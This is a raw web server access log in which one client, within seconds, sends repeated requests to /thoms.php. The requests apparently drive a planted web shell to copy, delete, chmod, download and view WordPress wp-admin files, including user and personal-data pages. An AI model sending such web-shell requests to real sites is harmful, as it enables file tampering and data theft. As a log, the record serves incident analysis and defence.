45.135.193.11 - - [11/Sep/2026:23:16:56 -0400] "GET /thoms.php?copy=bestzyx.com.tw%2Fwp-admin%2Fauthorize-application.php&p=bestzyx.com.tw%2Fwp-admin HTTP/1.1" 200 11475 "http://163.245.207.76:443/thoms.php?copy=bestzyx.com.tw%2Fwp-admin%2Fauthorize-application.php&p=bestzyx.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:16:56 -0400] "GET /thoms.php?del=font-library.php&p=bestzyx.com.tw%2Fwp-admin HTTP/1.1" 200 28940 "http://163.245.207.76:443/thoms.php?del=font-library.php&p=bestzyx.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:16:56 -0400] "GET /thoms.php?chmod=options.php&p=bestzyx.com.tw%2Fwp-admin HTTP/1.1" 200 11505 "http://163.245.207.76:443/thoms.php?chmod=options.php&p=bestzyx.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:16:56 -0400] "GET /thoms.php?chmod=async-upload.php&p=bestzyx.com.tw%2Fwp-admin HTTP/1.1" 200 11522 "http://163.245.207.76:443/thoms.php?chmod=async-upload.php&p=bestzyx.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:16:56 -0400] "GET /thoms.php?del=profile.php&p=bestzyx.com.tw%2Fwp-admin HTTP/1.1" 200 28941 "http://163.245.207.76:443/thoms.php?del=profile.php&p=bestzyx.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:16:56 -0400] "GET /bestzyx.com.tw/wp-admin/themes.php HTTP/1.1" 302 0 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:16:56 -0400] "GET /thoms.php?p=bestzyx.com.tw%2Fwp-admin&view=upgrade.php HTTP/1.1" 200 14258 "http://163.245.207.76:443/thoms.php?p=bestzyx.com.tw%2Fwp-admin&view=upgrade.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:16:56 -0400] "GET /thoms.php?dl=options-writing.php&p=bestzyx.com.tw%2Fwp-admin HTTP/1.1" 200 28942 "http://163.245.207.76:443/thoms.php?dl=options-writing.php&p=bestzyx.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:16:56 -0400] "GET /thoms.php?chmod=plugin-install.php&p=bestzyx.com.tw%2Fwp-admin HTTP/1.1" 200 11526 "http://163.245.207.76:443/thoms.php?chmod=plugin-install.php&p=bestzyx.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:16:56 -0400] "GET /thoms.php?p=bestzyx.com.tw%2Fwp-admin%2Fmaint HTTP/1.1" 200 12688 "http://163.245.207.76:443/thoms.php?p=bestzyx.com.tw%2Fwp-admin%2Fmaint" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:16:56 -0400] "GET /thoms.php?p=bestzyx.com.tw%2Fwp-admin&view=admin.php HTTP/1.1" 200 16234 "http://163.245.207.76:443/thoms.php?p=bestzyx.com.tw%2Fwp-admin&view=admin.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:16:56 -0400] "GET /thoms.php?copy=bestzyx.com.tw%2Fwp-admin%2Fedit-form-blocks.php&p=bestzyx.com.tw%2Fwp-admin HTTP/1.1" 200 11464 "http://163.245.207.76:443/thoms.php?copy=bestzyx.com.tw%2Fwp-admin%2Fedit-form-blocks.php&p=bestzyx.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:16:56 -0400] "GET /thoms.php?dl=about.php&p=bestzyx.com.tw%2Fwp-admin HTTP/1.1" 200 28943 "http://163.245.207.76:443/thoms.php?dl=about.php&p=bestzyx.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:16:57 -0400] "GET /bestzyx.com.tw/wp-admin/edit-form-advanced.php HTTP/1.1" 200 0 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:16:57 -0400] "GET /thoms.php?chmod=freedoms.php&p=bestzyx.com.tw%2Fwp-admin HTTP/1.1" 200 11509 "http://163.245.207.76:443/thoms.php?chmod=freedoms.php&p=bestzyx.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:16:57 -0400] "GET /thoms.php?dl=edit-tags.php&p=bestzyx.com.tw%2Fwp-admin HTTP/1.1" 200 28941 "http://163.245.207.76:443/thoms.php?dl=edit-tags.php&p=bestzyx.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:16:57 -0400] "GET /thoms.php?dl=load-scripts.php&p=bestzyx.com.tw%2Fwp-admin HTTP/1.1" 200 28941 "http://163.245.207.76:443/thoms.php?dl=load-scripts.php&p=bestzyx.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:16:57 -0400] "GET /thoms.php?chmod=ms-admin.php&p=bestzyx.com.tw%2Fwp-admin HTTP/1.1" 200 11517 "http://163.245.207.76:443/thoms.php?chmod=ms-admin.php&p=bestzyx.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:16:57 -0400] "GET /thoms.php?dl=edit-form-advanced.php&p=bestzyx.com.tw%2Fwp-admin HTTP/1.1" 200 28941 "http://163.245.207.76:443/thoms.php?dl=edit-form-advanced.php&p=bestzyx.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:16:57 -0400] "GET /thoms.php?del=ms-themes.php&p=bestzyx.com.tw%2Fwp-admin HTTP/1.1" 200 28942 "http://163.245.207.76:443/thoms.php?del=ms-themes.php&p=bestzyx.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:16:57 -0400] "GET /thoms.php?p=bestzyx.com.tw%2Fwp-admin&view=widgets.php HTTP/1.1" 200 12491 "http://163.245.207.76:443/thoms.php?p=bestzyx.com.tw%2Fwp-admin&view=widgets.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:16:57 -0400] "GET /thoms.php?del=options-head.php&p=bestzyx.com.tw%2Fwp-admin HTTP/1.1" 200 28942 "http://163.245.207.76:443/thoms.php?del=options-head.php&p=bestzyx.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:16:57 -0400] "GET /thoms.php?del=erase-personal-data.php&p=bestzyx.com.tw%2Fwp-admin HTTP/1.1" 200 28942 "http://163.245.207.76:443/thoms.php?del=erase-personal-data.php&p=bestzyx.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:16:57 -0400] "GET /thoms.php?del=export-personal-data.php&p=bestzyx.com.tw%2Fwp-admin HTTP/1.1" 200 28932 "http://163.245.207.76:443/thoms.php?del=export-personal-data.php&p=bestzyx.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:16:58 -0400] "GET /thoms.php?p=bestzyx.com.tw%2Fwp-admin&view=media-new.php HTTP/1.1" 200 13479 "http://163.245.207.76:443/thoms.php?p=bestzyx.com.tw%2Fwp-admin&view=media-new.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:16:58 -0400] "GET /thoms.php?chmod=network.php&p=bestzyx.com.tw%2Fwp-admin HTTP/1.1" 200 11512 "http://163.245.207.76:443/thoms.php?chmod=network.php&p=bestzyx.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:16:58 -0400] "GET /thoms.php?p=bestzyx.com.tw%2Fwp-admin&view=options-head.php HTTP/1.1" 200 12271 "http://163.245.207.76:443/thoms.php?p=bestzyx.com.tw%2Fwp-admin&view=options-head.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:16:58 -0400] "GET /thoms.php?chmod=press-this.php&p=bestzyx.com.tw%2Fwp-admin HTTP/1.1" 200 11510 "http://163.245.207.76:443/thoms.php?chmod=press-this.php&p=bestzyx.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:16:58 -0400] "GET /thoms.php?chmod=options-reading.php&p=bestzyx.com.tw%2Fwp-admin HTTP/1.1" 200 11508 "http://163.245.207.76:443/thoms.php?chmod=options-reading.php&p=bestzyx.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:16:58 -0400] "GET /thoms.php?dl=revision.php&p=bestzyx.com.tw%2Fwp-admin HTTP/1.1" 200 28942 "http://163.245.207.76:443/thoms.php?dl=revision.php&p=bestzyx.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:16:58 -0400] "GET /bestzyx.com.tw/wp-admin/network.php HTTP/1.1" 302 0 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:16:58 -0400] "GET /thoms.php?chmod=install-helper.php&p=bestzyx.com.tw%2Fwp-admin HTTP/1.1" 200 11512 "http://163.245.207.76:443/thoms.php?chmod=install-helper.php&p=bestzyx.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:16:58 -0400] "GET /thoms.php?del=edit-tag-form.php&p=bestzyx.com.tw%2Fwp-admin HTTP/1.1" 200 28943 "http://163.245.207.76:443/thoms.php?del=edit-tag-form.php&p=bestzyx.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:16:58 -0400] "GET /thoms.php?copy=bestzyx.com.tw%2Fwp-admin%2Foptions-general.php&p=bestzyx.com.tw%2Fwp-admin HTTP/1.1" 200 11473 "http://163.245.207.76:443/thoms.php?copy=bestzyx.com.tw%2Fwp-admin%2Foptions-general.php&p=bestzyx.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:16:58 -0400] "GET /thoms.php?dl=options-discussion.php&p=bestzyx.com.tw%2Fwp-admin HTTP/1.1" 200 28944 "http://163.245.207.76:443/thoms.php?dl=options-discussion.php&p=bestzyx.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:16:58 -0400] "GET /thoms.php?del=users.php&p=bestzyx.com.tw%2Fwp-admin HTTP/1.1" 200 28942 "http://163.245.207.76:443/thoms.php?del=users.php&p=bestzyx.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:16:59 -0400] "GET /thoms.php?chmod=erase-personal-data.php&p=bestzyx.com.tw%2Fwp-admin HTTP/1.1" 200 11530 "http://163.245.207.76:443/thoms.php?chmod=erase-personal-data.php&p=bestzyx.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:16:59 -0400] "GET /thoms.php?del=user&p=bestzyx.com.tw%2Fwp-admin HTTP/1.1" 200 28941 "http://163.245.207.76:443/thoms.php?del=user&p=bestzyx.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:16:59 -0400] "GET /thoms.php?p=bestzyx.com.tw%2Fwp-admin&view=menu.php HTTP/1.1" 200 17609 "http://163.245.207.76:443/thoms.php?p=bestzyx.com.tw%2Fwp-admin&view=menu.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:16:59 -0400] "GET /thoms.php?chmod=moderation.php&p=bestzyx.com.tw%2Fwp-admin HTTP/1.1" 200 11522 "http://163.245.207.76:443/thoms.php?chmod=moderation.php&p=bestzyx.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:16:59 -0400] "GET /thoms.php?p=bestzyx.com.tw%2Fwp-admin&view=ms-sites.php HTTP/1.1" 200 12026 "http://163.245.207.76:443/thoms.php?p=bestzyx.com.tw%2Fwp-admin&view=ms-sites.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:16:59 -0400] "GET /thoms.php?p=bestzyx.com.tw%2Fwp-admin&view=options-privacy.php HTTP/1.1" 200 15900 "http://163.245.207.76:443/thoms.php?p=bestzyx.com.tw%2Fwp-admin&view=options-privacy.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:16:59 -0400] "GET /thoms.php?copy=bestzyx.com.tw%2Fwp-admin%2Foptions-permalink.php&p=bestzyx.com.tw%2Fwp-admin HTTP/1.1" 200 11465 "http://163.245.207.76:443/thoms.php?copy=bestzyx.com.tw%2Fwp-admin%2Foptions-permalink.php&p=bestzyx.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:16:59 -0400] "GET /bestzyx.com.tw/wp-admin/admin-footer.php HTTP/1.1" 200 0 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:16:59 -0400] "GET /thoms.php?copy=bestzyx.com.tw%2Fwp-admin%2Fuser&p= HTTP/1.1" 200 12255 "http://163.245.207.76:443/thoms.php?copy=bestzyx.com.tw%2Fwp-admin%2Fuser&p=" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:16:59 -0400] "GET /thoms.php?del=network&p=bestzyx.com.tw%2Fwp-admin HTTP/1.1" 200 28941 "http://163.245.207.76:443/thoms.php?del=network&p=bestzyx.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:16:59 -0400] "GET /thoms.php?del=admin-post.php&p=bestzyx.com.tw%2Fwp-admin HTTP/1.1" 200 28942 "http://163.245.207.76:443/thoms.php?del=admin-post.php&p=bestzyx.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:16:59 -0400] "GET /thoms.php?copy=bestzyx.com.tw%2Fwp-admin%2Flink.php&p=bestzyx.com.tw%2Fwp-admin HTTP/1.1" 200 11456 "http://163.245.207.76:443/thoms.php?copy=bestzyx.com.tw%2Fwp-admin%2Flink.php&p=bestzyx.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:16:59 -0400] "GET /thoms.php?dl=install-helper.php&p=bestzyx.com.tw%2Fwp-admin HTTP/1.1" 200 28943 "http://163.245.207.76:443/thoms.php?dl=install-helper.php&p=bestzyx.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:17:00 -0400] "GET /thoms.php?p=bestzyx.com.tw%2Fwp-admin&view=ms-admin.php HTTP/1.1" 200 12009 "http://163.245.207.76:443/thoms.php?p=bestzyx.com.tw%2Fwp-admin&view=ms-admin.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:17:00 -0400] "GET /thoms.php?p=bestzyx.com.tw%2Fwp-admin&view=options-discussion.php HTTP/1.1" 200 17189 "http://163.245.207.76:443/thoms.php?p=bestzyx.com.tw%2Fwp-admin&view=options-discussion.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:17:00 -0400] "GET /thoms.php?chmod=images&p=bestzyx.com.tw%2Fwp-admin HTTP/1.1" 200 11516 "http://163.245.207.76:443/thoms.php?chmod=images&p=bestzyx.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:17:00 -0400] "GET /thoms.php?del=admin-functions.php&p=bestzyx.com.tw%2Fwp-admin HTTP/1.1" 200 28941 "http://163.245.207.76:443/thoms.php?del=admin-functions.php&p=bestzyx.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:17:00 -0400] "GET /bestzyx.com.tw/wp-admin/tools.php HTTP/1.1" 302 0 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:17:00 -0400] "GET /thoms.php?del=contribute.php&p=bestzyx.com.tw%2Fwp-admin HTTP/1.1" 200 28943 "http://163.245.207.76:443/thoms.php?del=contribute.php&p=bestzyx.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:17:00 -0400] "GET /thoms.php?p=bestzyx.com.tw%2Fwp-admin&view=options-media.php HTTP/1.1" 200 14246 "http://163.245.207.76:443/thoms.php?p=bestzyx.com.tw%2Fwp-admin&view=options-media.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:17:00 -0400] "GET /thoms.php?copy=bestzyx.com.tw%2Fwp-admin%2Fusers.php&p=bestzyx.com.tw%2Fwp-admin HTTP/1.1" 200 11466 "http://163.245.207.76:443/thoms.php?copy=bestzyx.com.tw%2Fwp-admin%2Fusers.php&p=bestzyx.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:17:00 -0400] "GET /thoms.php?copy=bestzyx.com.tw%2Fwp-admin%2Fadmin.php&p=bestzyx.com.tw%2Fwp-admin HTTP/1.1" 200 11468 "http://163.245.207.76:443/thoms.php?copy=bestzyx.com.tw%2Fwp-admin%2Fadmin.php&p=bestzyx.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:17:00 -0400] "GET /thoms.php?chmod=edit-form-comment.php&p=bestzyx.com.tw%2Fwp-admin HTTP/1.1" 200 11511 "http://163.245.207.76:443/thoms.php?chmod=edit-form-comment.php&p=bestzyx.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:17:00 -0400] "GET /bestzyx.com.tw/wp-admin/options-privacy.php HTTP/1.1" 302 0 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:17:00 -0400] "GET /bestzyx.com.tw/wp-admin/term.php HTTP/1.1" 302 0 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:17:00 -0400] "GET /thoms.php?copy=bestzyx.com.tw%2Fwp-admin%2Fpress-this.php&p=bestzyx.com.tw%2Fwp-admin HTTP/1.1" 200 11461 "http://163.245.207.76:443/thoms.php?copy=bestzyx.com.tw%2Fwp-admin%2Fpress-this.php&p=bestzyx.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:17:00 -0400] "GET /thoms.php?p=bestzyx.com.tw%2Fwp-admin&view=users.php HTTP/1.1" 200 19521 "http://163.245.207.76:443/thoms.php?p=bestzyx.com.tw%2Fwp-admin&view=users.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:17:01 -0400] "GET /thoms.php?copy=bestzyx.com.tw%2Fwp-admin%2Fplugin-install.php&p=bestzyx.com.tw%2Fwp-admin HTTP/1.1" 200 11475 "http://163.245.207.76:443/thoms.php?copy=bestzyx.com.tw%2Fwp-admin%2Fplugin-install.php&p=bestzyx.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:17:01 -0400] "GET /thoms.php?chmod=options-head.php&p=bestzyx.com.tw%2Fwp-admin HTTP/1.1" 200 11519 "http://163.245.207.76:443/thoms.php?chmod=options-head.php&p=bestzyx.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:17:01 -0400] "GET /thoms.php?dl=comment.php&p=bestzyx.com.tw%2Fwp-admin HTTP/1.1" 200 28940 "http://163.245.207.76:443/thoms.php?dl=comment.php&p=bestzyx.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:17:01 -0400] "GET /thoms.php?dl=media-upload.php&p=bestzyx.com.tw%2Fwp-admin HTTP/1.1" 200 28939 "http://163.245.207.76:443/thoms.php?dl=media-upload.php&p=bestzyx.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:17:01 -0400] "GET /thoms.php?dl=edit-link-form.php&p=bestzyx.com.tw%2Fwp-admin HTTP/1.1" 200 28943 "http://163.245.207.76:443/thoms.php?dl=edit-link-form.php&p=bestzyx.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:17:01 -0400] "GET /thoms.php?chmod=upgrade-functions.php&p=bestzyx.com.tw%2Fwp-admin HTTP/1.1" 200 11524 "http://163.245.207.76:443/thoms.php?chmod=upgrade-functions.php&p=bestzyx.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:17:01 -0400] "GET /thoms.php?p=bestzyx.com.tw%2Fwp-admin&view=update-core.php HTTP/1.1" 200 25673 "http://163.245.207.76:443/thoms.php?p=bestzyx.com.tw%2Fwp-admin&view=update-core.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:17:01 -0400] "GET /thoms.php?dl=profile.php&p=bestzyx.com.tw%2Fwp-admin HTTP/1.1" 200 28942 "http://163.245.207.76:443/thoms.php?dl=profile.php&p=bestzyx.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
